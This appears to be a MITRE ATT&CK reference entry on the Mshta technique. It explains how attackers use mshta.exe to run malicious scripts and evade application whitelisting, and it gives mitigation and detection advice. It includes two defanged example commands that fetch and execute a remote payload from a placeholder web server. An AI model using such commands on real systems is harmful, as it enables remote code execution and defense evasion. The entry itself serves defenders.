Mshta

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Mshta
Technique
ID T1170
Tactic Defense Evasion, Execution
Platform Windows
Permissions Required User
Data Sources Process monitoring, Process command-line parameters
Supports Remote No
Defense Bypassed Application whitelisting
Contributors Ricardo Dias, Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta.1 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.2

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code34567

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.8

Examples

  • FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.7

Mitigation

Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

Detection

Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.